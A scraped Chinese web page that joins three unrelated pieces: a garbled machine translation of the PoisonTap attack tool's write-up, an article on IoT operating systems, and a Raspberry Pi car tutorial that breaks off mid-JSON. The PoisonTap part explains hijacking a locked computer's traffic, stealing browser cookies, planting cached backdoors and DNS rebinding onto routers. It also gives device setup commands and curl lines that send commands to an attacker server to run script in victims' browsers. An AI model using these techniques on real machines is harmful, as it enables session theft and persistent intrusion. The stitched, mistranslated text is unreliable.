由@SamyKamkar创建||https://samy.pl
当PoisonTap(Raspberry Pi Zero&Node.js)插入到受锁/受密码保护的计算机中时,它:
通过USB(或Thunderbolt)模拟以太网设备
劫持来自机器的所有互联网流量(尽管是低优先级/未知网络接口)
虹吸并存储来自网络浏览器的HTTP Cookie和会话,用于Alexa前100万个网站
将内部路由器暴露给攻击者,使其可通过出站WebSocket和DNS重新绑定(远程访问Matt Austin进行重新绑定)!
在HTTP缓存中为数十万个域和常见的Javascript CDN URL安装一个持久的基于Web的后门,所有这些都可以通过缓存中毒访问用户的cookie
允许攻击者远程强制用户使用任何退回的域中的用户的Cookie进行HTTP请求和代理回复(GET&POST)
它不要求机器被解锁
后门和远程访问仍然存在,即使在设备被删除并且攻击者之后移动
(Ara令人难以置信的HTML5画布动画)
PoisonTap避免了以下安全机制:
密码保护锁屏
路由表优先级和网络接口服务订单
同源政策
X-框架,选项
HttpOnly Cookies
SameSite cookie属性
双因素/多因素认证(2FA / MFA)
DNS固定
跨原始资源共享(CORS)
HTTPS的cookie保护当安全 cookie的标志和HSTS未启用
PoisonTap是为$ 5 Raspberry Pi Zero而设计的,除了micro-USB电缆和microSD卡之外,还可以使用任何其他组件,或者可以使用以太网到USB / Thunderbolt加密狗的任何Raspberry Pi(1/2/3)工作,或可以在可以模拟USB小工具的其他设备上工作,如USB Armory和LAN Turtle。
视频中的实时演示和更多详细信息:
联络点: @SamyKamkar //https://samy.pl
发布日期: 2016 年 11月16日
源代码和下载: https://github.com/samyk/poisontap
PoisonTap通过利用机器和网络的各种机制(包括USB / Thunderbolt,DHCP,DNS和HTTP)的现有信任来产生级联效应,以产生信息渗透,网络访问和半永久后门的安装的雪球效应。
简而言之,PoisonTap执行以下操作:
网络劫持
攻击者将PoisonTap(如武器化的Raspberry Pi Zero)插入锁定的计算机(即使计算机受密码保护)
PoisonTap模拟以太网设备(例如,通过USB / Thunderbolt的以太网) - 默认情况下,Windows,OS X和Linux识别以太网设备,自动将其作为低优先级网络设备加载并执行DHCP请求,即使机器被锁定或密码保护
PoisonTap响应DHCP请求并向机器提供IP地址,但是DHCP响应是为了告诉机器整个IPv4空间(0.0.0.0 - 255.255.255.255)是PoisonTap本地网络的一部分,而不是一个小子网(例如192.168.0.0 - 192.168.0.255)
通常,如果辅助网络设备连接到一台机器,那么它将比现有的(受信任的)网络设备的优先级低,并且不会取代网关以进行互联网流量,这是不重要的,但是...
由于“互联网流量”的“LAN流量”的优先级,任何路由表/网关优先级/网络接口服务订单安全性被绕过,
PoisonTap利用此网络接入,甚至作为一个低优先级的网络设备,因为该子网 A的低优先级的网络设备比给予更高的优先级网关的的(默认路由)最高优先级的网络设备
这意味着如果流量注定为1.2.3.4,通常这个流量会达到主(非PoisonTap)网络设备的默认路由/网关,PoisonTap实际上会获得流量,因为PoisonTap“本地”网络/子网据说包含1.2 .3.4,存在的其他IP地址;)
因此,即使机器连接到具有较高优先级的网络设备和正确的网关(真正的WiFi,以太网等),所有互联网流量都会超过PoisonTap。
饼干虹吸
只要Web浏览器运行后台,开放页面之一可能会在后台执行HTTP请求(例如,加载新广告,将数据发送到分析平台,或者只是继续跟踪您的网页)运动)通过AJAX或动态脚本/ iframe标签
您可以自己看到这一点,进入您的devtools /检查员(通常为Cmd + Shift + I或Ctrl + Shift + I),访问访问量很大的网站,点击网络标签,并观看远程资源继续访问即使你在页面上没有采取任何行动
根据此HTTP请求,由于所有流量退出到PoisonTap设备上,PoisonTap DNS即时传播返回自己的地址,导致HTTP请求命中PoisonTap Web服务器(Node.js)
如果DNS服务器指向PoisonTap无法获得特权的内部IP(LAN),攻击将继续发挥作用,因为内部DNS服务器将为各种被攻击的域产生公共IP地址,而这是公共IP地址PoisonTap已经劫持
一旦内部DNS服务器做出响应,Web浏览器就会触发公共IP,最终在任一情况下击中PoisonTap Web服务器(Node.js)
当Node Web服务器接收到请求时,PoisonTap会响应一个可以解释为HTML或Javascript的响应,两者都能正常执行(许多网站将在后台请求中加载HTML或JS)
HTML / JS不可知页面然后生成许多隐藏的iframe,每个iframe跨不同的Alexa-top-100万域
域名上的任何“X-Frame-Options”安全性被忽略,因为PoisonTap现在是HTTP服务器,并选择要发送给客户端的头文件
随着对站点的每个iframe HTTP请求(例如http://nfl.com/PoisonTap),HTTP Cookie从浏览器发送到被PoisonTap劫持的“公共IP”,它迅速记录cookie /身份验证信息将数万个用户的Cookie记录到PoisonTap中
任何“HttpOnly”cookie安全性被绕过,并且这些cookie被捕获,因为在域本身上没有执行Javascript,而是仅用于首先加载iframe
任何跨原始资源共享或同源策略安全性被绕过,因为访问域看起来对浏览器是合法的
因为我们正在抓取Cookie而不是凭据,所以当攻击者使用cookie登录时,网站上实现的任何2FA / MFA都将被绕过。这是因为我们还没有实际执行的登录功能,而是继续已经登录这不会话不会触发双因素身份验证
如果服务器正在使用HTTPS,但是Cookie并未明确设置Secure Cookie标志,则HTTPS保护被绕过,并将该cookie发送到PoisonTap
可远程访问的基于Web的后门
虽然PoisonTap正在产生成千上万的I帧,迫使浏览器加载每一个,这些iframe会并不只是空白页面,而是HTML +的Javascript后门被无限期缓存
因为PoisonTap强制将这些后门缓存在每个域上,所以后门绑定到该域,使攻击者能够使用域的cookie,并在将来启动同源请求,即使用户当前未登录
例如,当http://nfl.com/PoisonTap iframe加载时,PoisonTap接受转移的Internet流量,通过Node web服务器响应HTTP请求
添加额外的HTTP头以无限期缓存该页面
该页面的实际响应是HTML和Javascript的组合,它会向攻击者的Web服务器(通过Internet而不是PoisonTap设备)生成一个持久的WebSocket,
WebSocket保持打开,允许攻击者在将来的任何时间连接回退回机器,并执行任何具有后门实现的源代码(Alexa的前100万个站点 - 见下文)
如果后门在一个站点(例如,nfl.com)上打开,但用户希望攻击不同的域(例如pinterest.com),攻击者可以将nfl.com上的iframe加载到pinterest.com后门(http://pinterest.com/PoisonTap)
再次,域上的任何“X框架选项”,跨原始资源共享和同源策略安全性完全被忽略,因为请求将触发PoisonTap离开的缓存,而不是真正的域
内部路由器后门和远程访问
一个网络PoisonTap不能劫持是真实网络接口的实际LAN子网(例如,如果用户的wifi子网为192.168.0.x,则该网络不受影响),但...
PoisonTap强制将一个后门缓存在一个特殊的主机上,特别是目标路由器的IP前身为“.ip.samy.pl”,例如192.168.0.1.ip.samy.pl,本质上是产生持久的 DNS重绑定攻击
当使用PoisonTap作为DNS服务器(受害者使用公共DNS服务器)时,PoisonTap会临时响应专门的PoisonTap IP(1.0.0.1),这意味着当时的任何请求都将触发PoisonTap Web服务器
如果DNS服务器设置为内部网络(例如192.168.0.x),则会另外特别要求1.0.0.1 **。pin。** ip.samy.pl告诉我的专用DNS服务器(在公共互联网上)暂时响应任何[ip.address] .ip.samy.pl地址与“固定”地址(1.0.0.1)几秒钟
然后,PoisonTap在http://192.168.0.1.ip.samy.pl/PoisonTap上快速设置了一个后门,该漏洞目前指向1.0.0.1的PoisonTap设备,允许从PoisonTap设备访问并缓存后门
DNS绑定和DNS重新绑定的安全性被绕过由于DNS绑定表的耗尽,由于以前成千上万的请求,并且将来不需要重新绑定,这使得这种攻击持续了很长一段时间(由于马特奥斯汀与我分享这次攻击!)
现在,一个后门被强制缓存到http://192.168.0.1.ip.samy.pl/PoisonTap,任何将来对192.168.0.1.ip.samy.pl的请求将会打到未被解除的 IP地址,导致192.168.0.1要解决,直接指向路由器
这意味着如果通过后门远程加载iframe中的192.168.0.1.ip.samy.pl/PoisonTap主机,您现在可以对内部路由器上的任何其他页面执行AJAX GET / POSTs ,完全远程,从而允许远程访问内部路由器
这可能导致攻击者可能从未访问过的路由器的其他攻击,例如用于覆盖DNS服务器的路由器上的默认管理员凭据,或其他身份验证漏洞
DNS服务器的概述:
[ip.addy] .ip.samy.pl 通常用[ip.addy]
192.168.0.1.ip.samy.pl - > 192.168.0.1(A记录)
[ip.addy] .pin.ip.samy.pl 暂时(〜5 秒)分* .ip.samy.pl到[ip.addy]
1.0.0.1.pin.ip.samy.pl - > 1.0.0.1
192.168.0.1.ip.samy.pl - > 1.0.0.1(A记录,短TTL)
(约5秒钟后)
192.168.0.1.ip.samy.pl - > 192.168.0.1(A记录)
其他可远程访问的基于Web的后门
此外,PoisonTap替代了成千上万种常见的基于CDN的Javascript文件,例如Google和jQuery CDN,使用正确的代码加上一个后门,使攻击者可以访问任何加载受感染的基于CDN的Javascript文件的域
因为每个域都有一个后门,这样就可以让攻击者远程强制后退的浏览器在几乎任何主要的域上执行相同的起始请求(AJAX GET / POST),即使受害者目前没有任何打开的窗口域
后门将现在生活在任何其他网站上,当受害者访问该网站时,还会使用这些受感染的基于HTTP的CDN Javascript框架之一
服务器端安全性
如果您正在运行一个Web服务器,那么防范PoisonTap就很简单:
至少使用HTTPS进行认证和验证的内容
老实说,您应该专门使用HTTPS,并始终将HTTP内容重定向到HTTPS,以防止用户被欺骗提供凭据或通过HTTP提供其他PII
确保Cookie上启用了安全标志,防止HTTPS Cookie通过HTTP泄漏
使用远程JavaScript资源时,请使用Subresource Integrity脚本标记属性
使用HSTS来防止HTTPS降级攻击
桌面安全
将水泥添加到USB和Thunderbolt端口可以有效
每次离开机器时关闭浏览器都可以工作,但完全不切实际
禁用USB / Thunderbolt端口也是有效的,尽管也是不切实际的
锁定电脑没有任何效果,因为网络和USB堆栈在机器被锁定时运行,但是,进入加密睡眠模式,需要密钥来解密内存(例如FileVault2 +深度睡眠)解决了大多数问题,作为您的浏览器将不再提出请求,即使唤醒
源代码: https://github.com/samyk/poisontap
注意:如果您发现设备不是自动作为以太网控制器(例如Windows的旧版本),则可以在pi_startup.sh中更改VID和PID
#指令从https://gist.github.com/gbaman/50b6cca61dd1c3f88f41调整sudo bash#如果Raspbian BEFORE甚至-10,那么运行下一行:BRANCH = next rpi-updateecho -e “ \ nauto usb0 \ nallow-hotplug usb0 \ niface usb0 inet static \ n \ taddress 1.0.0.1 \ n \ tnetmask 0.0.0.0 ” >> / etc / network / interfaces echo “ dtoverlay = dwc2 ” >> / boot /config.txt echo -e “ dwc2 \ ng_ether ” >> / etc / modulessudo sed -in-place “ / exit 0 / d ” /etc/rc.local echo “ / bin / sh /home/pi/poisontap/pi_startup.sh ” >> /etc/rc.localmkdir / home / pi / poisontapchown -R pi / home / pi / poisontapapt-get update && apt-get升级apt-get -y安装isc-dhcp-server dsniff screen nodejs
将dhcpd.conf放在/etc/dhcp/dhcpd.conf中,然后将其他文件放在/ home / pi / poisontap中,然后重新启动以确保一切正常。
repo中有多个文件,它们在不同的方面使用。列表:
backdoor.html - 每当一个http:// hostname / PoisonTap URL被命名为exfiltrate cookies时,这个文件是作为强制缓存的内容返回的。它包含一个后门,它产生一个出站的websocket到samy.pl:1337(可调整到任何主机/端口),等待命令从服务器继续打开。这意味着当您在网站上加载iframe(例如http:// hostname / PoisonTap)时,即使在从机器中删除PoisonTap之后,这也是填充的内容。
backend_server.js - 这是您在Internet可访问的服务器上运行的Node.js服务器。这是backdoor.html连接的(例如,samy.pl:1337)。这是与您连接的命令相同的服务器,以发送到您的PoisonTapped小型机器,例如
#流行警惕受害者 卷曲 ' http://samy.pl:1337/exec?alert("muahahahaha“)‘ #设置在受害人一个cookie 卷曲 ’ http://samy.pl:1337/exec?document.cookie =“key = value” ' #强制受害者通过ajax加载一个url(注意,jQuery存储在后门) curl'http: //samy.pl:1337/exec?$.get( " http:// 192.168.0.1.ip.samy.pl/login",function(d)\ {console.log(d)\})'
pi_poisontap.js - 这是通过Raspberry Pi Zero上的Node.js运行的,是HTTP服务器,负责处理由PoisonTap拦截的任何HTTP请求,存储虹吸cookie,并注入缓存的后门。
pi_startup.sh - 在Raspberry Pi Zero启动时运行,以便将设备设置为模拟USB以太网小工具,设置我们的恶意DHCP服务器,允许流量重新路由,DNS欺骗,并启动pi_poisontap.js以上。
target_backdoor.js - 此文件是与任何CDN相关的Javascript文件,因此后门他们,例如Google CDN的jQuery网址。
target_injected_xhtmljs.html - 这是在受害者机器上注入到无意/后台HTTP / AJAX请求中的代码,并产生了整个攻击。它的构造方式是将其解释为HTML或Javascript,并仍然执行相同的代码。另外,惊人的HTML5画布是由令人难以置信的Ara oen CodePen,是太惊人,不包括。这是当页面被PoisonTap接管时出现的图形化疯狂。
poisontap.cookies.log - 一旦用户的机器开始向PoisonTap发送HTTP请求,就会生成此文件,并将该cookie与浏览器及其所属的相关联的URL /域一起记录下来。
问:如何添加要退回的其他域?
target_injected_xhtmljs.html
由
getDoms()
函数设置。这本身就由
alexa1m.sh
repo根目录中的脚本填充。如果您希望在此列表中添加其他域名,您可以简单地修改返回呼叫
getDoms()
。
A:要退回的域列表
问:您如何使用捕获的Cookie?
A:您可以直接从浏览器中的JavaScript控制台使用Document.cookie API来设置Cookie。此StackOverflow文章还提供了一些Chrome特定的建议,例如Cookie检查器Chrome扩展程序。
联网操作系统的前景如何?会不会出现移动互联网时代的争霸局面?与传统的个人计算机或个人智能终端(智能手机、平板电脑等)上的操作系统不同,物联网操作系统有其独特的特征。
这些特征是为了更好的服务物联网应用而存在的,运行物联网操作系统的终端设备,能够与物联网的其它层次结合的更加紧密,数据共享更加顺畅,能够大大提升物联网的生产效率。
除具备传统操作系统的设备资源管理功能外,物联网操作系统还具备下列功能:
1.屏蔽物联网碎片化的特征,提供统一的编程接口。
所谓碎片化,指的是硬件设备配置多种多样,不同的应用领域差异很大。从小到只有几K内存的低端单片机,到有数百M内存的高端智能设备。
传统的操作系统无法适应这种"广谱"的硬件环境,而如果采用多个操作系统(比如低端配置,采用嵌入式操作系统,高端配置设备,采用Linux等通用操作系统),则由于架构的差异,无法提供统一的编程接口和编程环境。
2.正是这种"碎片化"的特征,牵制了物联网的发展和壮大。
物联网操作系统则充分考虑这些碎片化的硬件需求,通过合理的架构设计,使得操作系统本身具备很强的伸缩性,很容易的应用到这些硬件上。
3.同时,通过统一的抽象和建模,对不同的底层硬件和功能部件进行抽象,抽象出一个一个的"通用模型",对上层提供统一的编程接口,屏蔽物理硬件的差异。
这样达到的一种效果就是, 同一个APP,可以运行在多种不同的硬件平台上,只要这些硬件平台运行物联网操作系统即可。
这与智能手机的效果是一样的,同一款APP,比如微信,既可以运行在一个厂商的低端智能手机上,又可以运行在硬件配置完全不同的另一个厂商的高端手机上,只要这些手机都安装了Android操作系统。
显然,这样一种独立于硬件的能力,是支撑物联网良好生态环境形成的基础。
拉通物联网产业的上下游,培育物联网硬件开发、物联网系统软件开发、物联网应用软件开发、物联网业务运营、网络运营、物联网数据挖掘等分离的商业生态环境,为物联网的大发展建立基础。类似于智能终端操作系统(iOS、Andriod等)对移动互联网的生态环境培育作用。
如何降低物联网应用开发的成本和时间?
物联网操作系统是一个公共的业务开发平台,具备丰富完备的物联网基础功能组件和应用开发环境,可大大降低物联网应用的开发时间和开发成本;提升数据共享能力:统一的物联网操作系统具备一致的数据存储和数据访问方式,为不同行业之间的数据共享提供了可能。
物联网操作系统可打破行业壁垒,增强不同行业之间的数据共享能力,甚至可以提供"行业服务之上"的服务,比如数据挖掘等;为物联网统一管理奠定基础。
采用统一的远程控制和远程管理接口,即使行业应用不同,也可采用相同的管理软件对物联网进行统一管理,大大提升物联网的可管理性和可维护性,甚至可以做到整个物联网的统一管理和维护。
一般来说,物联网操作系统由内核、通信支持(WiFi/蓝牙、2/3/4G等通信支持、NFC、RS232/PLC支持等)、外围组件(文件系统、GUI、Java虚拟机、XML文件解析器等)、集成开发环境等组成,基于此,可衍生出一系列面向行业的特定应用!
物联网操作系统是行业应用得以茁壮生长和长期有效生存的基础,只有具备了强大灵活的物联网操作系统,物联网这棵大树才能结出丰硕的果实。
对于物联网发展而言,“碎片化”是主要的问题,其中芯片、传感器、通信协议、应用场景千差万别,“山头林立”。
比如无线通信标准,就有蓝牙、Wi-Fi、ZigBee、PLC、Z-Wave、RF、Thread、Z-Wave、NFC、UWB、LiFi、NB-IoT、LoRa等等。很明显,技术方案不统一,体系结构不一致,阻碍了物联网的发展,也局限了互联互通的范围。
然而,各种操作系统可以支持不同的硬件、通信标准、应用场景。开源,有利于打破技术障碍和壁垒,提高互操作性和可移植性,减小开发成本,同时也适合开源社区的开发人员参与进来。
操作系统,是物联网中一个十分关键的环节,而开源更佳助推了物联网的开放和发展。
目前,开源操作系统在物联网中的应用已经十分广泛,以后也必将在物联网中扮演越来越重要的角色。
手机市场呈现出Android和iOS两家独大的局面,而在物联网体系中,操作系统也呈现出多样性的特点,并不是一两种操作系统可以支持所有的物联网设备。
后附十大物联网开源操作系统。
注:(微软的Windows 10 for IoT 和 苹果的 iOS,虽然也是很强大,但是因为闭源,不在本文介绍之列。)
1) Andorid Things
Andorid Things 是谷歌上周刚推出的物联网操作系统,是去年推出的“Brillo”操作系统的更新版本,作为 Andorid 系统的一个分支版本,类似于可穿戴和智能手表用的Andorid Wear(实际上它也是一种物联网操作系统)。
它使用一种名为 Weave的通信协议,实现设备与云端相连,并且与谷歌助手等服务交互。Android Things 面向所有Java开发者,不管开发者有没有移动开发经验。该操作系统将能够支持一系列物联网设备的计算平台,其中包括英特尔Edison 平台,NXP公司的Pico平台,以及“树莓派3”。
2) Contiki
Contiki,是一个开源的、容易移植的多任务操作系统,适用于内存受限的网络任务。Contiki 项目的作者是瑞典计算机科学研究所的网络嵌入式系统小组的Adam Dunkels 博士。
该系统只需要几千字节或者几百字节的内存,就能提供多任务操作系统环境和TCP/IP支持。它已经移植并成功运行于嵌入式微控制器平台(TI MSP430,Atmel AVR)以及电脑、游戏机等平台。它支持的协议有全标准 IPv6 和 IPv4,以及低功耗网络标准:6lowpan、RPL、CoAP。
3) eLinux
eLinux,也称为Embedded Linux,即嵌入式Linux 操作系统,该操作系统基于Linux 内核,是Linux 对于嵌入式系统的裁剪版,支持该操作系统的厂家、芯片和产品比较广泛。该操作系统的维基主页提供了开发、硬件、产品、厂家、社区等一系列相关信息。
4) FreeRTOS
FreeRTOS 是一个迷你的实时操作系统内核,功能包括:任务管理、时间管理、信号量、消息队列、内存管理、记录功能、软件定时器、协程等,可基本满足较小系统的需要。
FreeRTOS 操作系统是完全开源你的操作系统,具有源码公开、可移植、可裁减、调度策略灵活的特点。
目前,该操作系统已经数百万设备上部署,它号称是“市场上领先的嵌入式实时操作系统”,能够为微控制器和微处理器提供很好的解决方案。
5) mbed OS
这款操作系统由ARM开发,专门为运行ARM处理器的物联网设备而设计。它包含了C++应用程序网络,公司也提供其他开发工具和相关的设备服务器。
默认情况下,mbed 操作系统是事件驱动的单线程架构,而非多线程(实时操作系统)环境。 这确保了它可以扩展到尺寸最小、成本最低且功耗最低的物联网设备。
ARM在移动设备端有着强大的市场占有率,所以这款操作系统实力和前景不可小觑。
6) Raspbian
Raspbian 是一款基于Debian,为树莓派硬件而设计的操作系统。这个操作系统包括一些列的基础程序和工具,保证树莓派硬件的运行。
7) RIOT
RIOT,将自己称为“友好的物联网操作系统”,致力于开发者友好、资源友好、物联网友好,关键的功能包括C/C++支持、多线程、能量效率、部分遵守POSIX等等。
RIOT 开源社区自2008年以来就启动了。RIOT能够在众多平台上运行包括嵌入式设备、PC、传感器等。
8) Ubuntu Core
Ubuntu 是目前最流行的Linux 版本,而Ubuntu Core旨在将Ubuntu 带向物联网世界。它可以运行例如微软Azure、 谷歌计算引擎、 亚马逊弹性云计算服务,也可以运行在例如BeagleBone Black 和树莓派等硬件上。
9) Huawei LiteOS
Huawei LiteOS 是华为面向IoT领域,构建的“统一物联网操作系统和中间件软件平台”,具有轻量级(内核小于10k)、低功耗、互联互通、安全等关键能力。Huawei LiteOS 目前主要应用于智能家居、穿戴式、车联网、智能抄表、工业互联网等 IoT 领域的智能硬件上,还可以和LiteOS生态圈内的硬件互联互通,提高用户体验。
Liteos操作系统具有能耗最低,尺寸小、响应快等特点,也建立了开源社区,能够支持的芯片例如海思的PLC芯片HCT3911、媒体芯片3798M/C、IPCamera芯片Hi3516A,以及LTE-M芯片等。
10) Tizen
Tizen,Linux基金会和LiMo基金会,联合英特尔和三星电子,共同开发的开源操作系统,它可以满足物联网设备生态系统(包括设备制造商、手机运营商、应用开发者、独立软件服务提供商)的需求,应用于手机、电视、穿戴等多个产品。
Tizen底层平台相关API按照HTML5的形式公开出来,服务将涵盖通信、多媒体、相机、网络、社区媒体等。三星已经售卖了几款搭载该操作系统的产品,是它的最大支持者。
当然,物联网操作系统还不仅仅是以上这些,随着物联网的快速发展,必将进一步形成众所心仪的对象,那时候也可能出现一家独大的局面。
目前既然行业如此碎片化,那就先百家争鸣,百花齐放,最终让市场来决定!
未来将是物联世界,让我们相约2019年11月19-21日,相约2019(第三届)全球物联网大会—寻找思考者!
——————本文完——————
声明:本文系《洞悉——物联网发展1000问》系列文章第二十三篇,旨在希望通过系统性与行业专业视角就物联网产业当前发展现状与经济潜力予以分析和分享。IOT物联网,万物互联,互联万物。
作者:王正伟(物哥 WXID:iot-wang)中关村物联网产业联盟秘书长 全球物联网大会主席 本文系作者原创转载请注明出处
更换封面
00:15 视频尚未发布,暂时无法播放
前言
智能小车,自娱自乐,希望通过该分享帮助更多爱好者们化繁为简,待我完成到第三季,我将会把程序放出来拱大家使用,我准备分三季来实现,APP后台部署在阿里小程序云,通过阿里云MQTT消息队列服务,来完成指令控制,并实现事件日志机制。
第一季实现小车的控制目标
1、实现小车4驱控制
2、实现摄像头实时查看,借助反向代理来完成内外网的通信
3、实现指令通过阿里云微消息队列MQTT来交互
4、设计APP端的控制界面实现
第二季实现目标
1、实现摄头云端控制
2、人脸检测
3、打包容器
4、热体红外+超声波测距+湿度温度
第三季实现目标
思考中。。
第一季开发准备
硬件
软件
硬件连接
整体效果
环境部署
阿里云应用
云应用是面向小程序应用场景,为开发者提供的一键构建后端应用运行环境、后端服务部署、运维监控等能力的一站式小程序部署服务。
我们需要申请一个云应用充当小程序的服务器以及fpc服务器。现在阿里推出繁星计划,可以免费申请2个月的测试环境以及一个月的生产环境,无需申请,直接在应用界面新建新运用,创建详情请参考文档
在控制台获取服务器ip、用户名(默认root)、密码(需要修改默认密码,然后重启服务器),通过SSH工具连接,用于部署下面步骤
MJPG-Streamer
MJPG-Streamer是一个命令行应用程序,它将JPEG帧从一个或多个输入插件复制到多个输出插件。它可用于通过基于IP的网络将JPEG文件从网络摄像头流式传输到各种类型的查看器,如Chrome,Firefox,Cambozola,VLC,mplayer和其他能够接收MJPG流的软件。
sudo raspi-config
sudo apt-get update
sudo apt-get install subversion
sudo apt-get install libjpeg8-dev
sudo apt-get install imagemagick
sudo apt-get install libv4l-dev
sudo apt-get install cmake
sudo apt-get install git
sudo git clone https://github.com/jacksonliam/mjpg-streamer.git
cd mjpg-streamer/mjpg-streamer-experimental
make all
sudo make install
sudo wget http://www.linux-projects.org/listing/uv4l_repo/lrkey.asc && sudo apt-key add ./lrkey.asc
修改sources.list,在末尾添加源,并安装uv4l uv4l-raspicam,然后重启
sudo nano /etc/apt/sources.list
#末尾添加,保存
deb http://www.linux-projects.org/listing/uv4l_repo/raspbian/ wheezy main
sudo apt-get update
sudo apt-get install uv4l uv4l-raspicam
sudo reboot
重启之后:
sudo pkill uv4l sudo apt-get update sudo apt-get install uv4l-uvc sudo apt-get install uv4l-xscreen sudo apt-get install uv4l-mjpegstream sudo reboot
再一次重启之后开启视频流服务
sudo modprobe bcm2835-v4l2 ./mjpg_streamer -i "./input_uvc.so -d /dev/video0 -n -y -f 25 -r 640x480" -o "./output_http.so -n -w /usr/local/www"
然后打开浏览器输入:http://raspberry-ip-address:8080/?action=stream
应该就可以看到Raspberry Pi Camera采集的动态视频了,延迟大概不超过0.8秒吧。
frp
frp是一个快速反向代理,可帮助您将NAT或防火墙后面的本地服务器暴露给Internet。截至目前,它支持tcp&udp以及http和https协议,其中请求可以通过域名转发到内部服务。
wget --no-check-certificate https://raw.githubusercontent.com/clangcn/onekey-install-shell/master/frps/install-frps.sh -O ./install-frps.sh
chmod 700
./install-frps.sh
./install-frps.sh install
然后一直回车(默认配置),知道全部安装完成。安装成功截图
frps start
查看frps版本号
frps -v
我这边安装的是version 0.20.0,客户端也要安装对应版本的
3. 树莓派部署frpc
由于我们服务器部署frps的版本是version 0.20.0,所以我们本地也要部署相同的版本
wget https://github.com/fatedier/frp/releases/download/v0.20.0/frp_0.20.0_linux_arm.tar.gz tar zxvf frp_0.20.1_linux_arm.tar.gz cd frp_0.14.1_linux_arm vi frpc.ini
修改 frpc.ini 文件
# frpc.ini [common] #服务器IP server_addr = x.x.x.x #服务器fpcs服务对应端口Bind port server_port = 5443 #服务端token oken = 你的服务端token [ssh] type = tcp local_ip = 127.0.0.1 local_port = 22 remote_port = 6000 #[]内名称不能重复,标签作用 [web_raspberry_web] type = http #端口号 对应本机视频web服务器的端口 local_port = 8080 #配置穿透外网访问域名,可设置多个 custom_domains = raspberry.你的域名.com
修改好frpc.ini后,启动frpc客户端。如果想在后台运行,可在命令后加 &
./frpc -c frpc.ini
申请域名解析
将你的的域名主机记录 raspberry A 记录解析到你的服务器IP x.x.x.x
服务器部署 Nginx
Nginx (engine x) 是一个高性能的HTTP和反向代理web服务器,同时也提供了IMAP/POP3/SMTP服务。
Ubuntu16.04安装及配置nginx
apt-get install build-essential
apt-get install libtool
sudo apt-get update sudo apt-get install libpcre3 libpcre3-dev
apt-get install zlib1g-dev
4.安装ssl依赖库
apt-get install openssl
安装nginx
#下载最新版本: wget http://nginx.org/download/nginx-1.16.0.tar.gz #解压: tar -zxvf nginx-1.11.3.tar.gz #进入解压目录: cd nginx-1.11.3 #配置: ./configure --prefix=/usr/local/nginx #编辑nginx: make 注意:这里可能会报错,提示“pcre.h No such file or directory”,具体详见:http://stackoverflow.com/questions/22555561/error-building-fatal-error-pcre-h-no-such-file-or-directory 需要安装 libpcre3-dev,命令为:sudo apt-get install libpcre3-dev #安装nginx: sudo make install #启动nginx: sudo /usr/local/nginx/sbin/nginx -c /usr/local/nginx/conf/nginx.conf 注意:-c 指定配置文件的路径,不加的话,nginx会自动加载默认路径的配置文件,可以通过 -h查看帮助命令。 #查看nginx进程: ps -ef|grep nginx
在浏览器输入 http://raspberry.你的域名.com:8080
出现页面则nginx部署成功
配置测试页面
新建一个index.html文件,用于测试页面,内容如下
<html>
<head>
<meta name="generator"
content="HTML Tidy for HTML5 (experimental) for Windows https://github.com/w3c/tidy-html5/tree/c63cc39" />
<meta http-equiv="Content-Type" content="text/html;" charset="UTF-8" />
<meta name="viewport"
content="width=device-width, initial-scale=1.0, user-scalable=no, minimum-scale=1.0, maximum-scale=1.0" />
<meta http-equiv="refresh" content="3" />
<title>树莓派实时监控站</title>
</head>
<body>
<center>
<font size="20" face="微软雅黑" color="#0074CD">
<b>树莓派<br>
实时监控站</b>
</font>
<hr />
<iframe src="http://raspberry.gkiiot.com:8080/?action=stream" scrolling=no width="320" height="240"> </iframe> <!--修改此处-->
<br />
<p>
<font size="5" color="#269C5D">
<b>Design by James</b>
</font>
</p>
<p>
<font size="5" color="#269C5D">
<i>a Web Monitoring Based on Raspberry Pi</i>
</font>
</p>
</center>
</body>
</html>
将该文件替换在nginx配置的web路径的index.html文件,例如/var/www/index.html
在浏览器输入 http://raspberry.你的域名.com:8080
尝试一下能否访问,如果成功出现树莓派实时监控页面,则web页面部署成功
阿里云微消息队列MQTT
微消息队列 MQTT 是阿里云推出的一款面向移动互联网以及物联网领域的轻量级消息中间件,针对移动互联网以及物联网 IoT 场景的消息传输特点,支持了包括 MQTT、STOMP、GB-808、新能源国标等主流通信协议
海创物联开发平台部署
海创开发平台是海创科技有限公司开发的一款快速编程平台,该平台开发的组件能快速与PLC、GPIO、各式设备进行通讯,有丰富的API支持,基本你们想到的事情它都能干,非常适合做物联网的网关控制中心
[{"id":"9e9c968e.24e348","type":"rpi-gpio out","z":"d99269c6.a2d0b8","name":"","pin":"29","set":true,"level":"0","freq":"","out":"out","x":720,"y":140,"wires":[]},{"id":"37f46ac8.666436","type":"rpi-gpio out","z":"d99269c6.a2d0b8","name":"","pin":"31","set":true,"level":"0","freq":"","out":"out","x":720,"y":180,"wires":[]},{"id":"5f130d8f.f55d84","type":"function","z":"d99269c6.a2d0b8","name":"控制","func":"switch(msg.payload)\n{\n case '0':return [{payload:0},{payload:0},{payload:0},{payload:0},{payload:0},{payload:0},{payload:0},{payload:0}];\n case '1':return [{payload:0},{payload:1},{payload:0},{payload:1},{payload:0},{payload:1},{payload:0},{payload:1}];\n case '2':return [{payload:1},{payload:0},{payload:1},{payload:0},{payload:1},{payload:0},{payload:1},{payload:0}];\n case '4':return [{payload:0},{payload:0},{payload:0},{payload:0},{payload:1},{payload:0},{payload:1},{payload:0}];\n case '3':return [{payload:1},{payload:0},{payload:1},{payload:0},{payload:0},{payload:0},{payload:0},{payload:0}];\n}\n","outputs":8,"noerr":0,"x":510,"y":320,"wires":[["9e9c968e.24e348","676a7be6.b97e14"],["37f46ac8.666436","676a7be6.b97e14"],["2e8cc1ec.6369ce","676a7be6.b97e14"],["c7700a0b.47b378","676a7be6.b97e14"],["676a7be6.b97e14","482e8885.76d548"],["676a7be6.b97e14","62b4d0fc.a93f3"],["676a7be6.b97e14","fd3c406.31fc4c"],["676a7be6.b97e14","6ac88490.ba21bc"]]},{"id":"2e8cc1ec.6369ce","type":"rpi-gpio out","z":"d99269c6.a2d0b8","name":"","pin":"32","set":true,"level":"0","freq":"","out":"out","x":720,"y":240,"wires":[]},{"id":"c7700a0b.47b378","type":"rpi-gpio 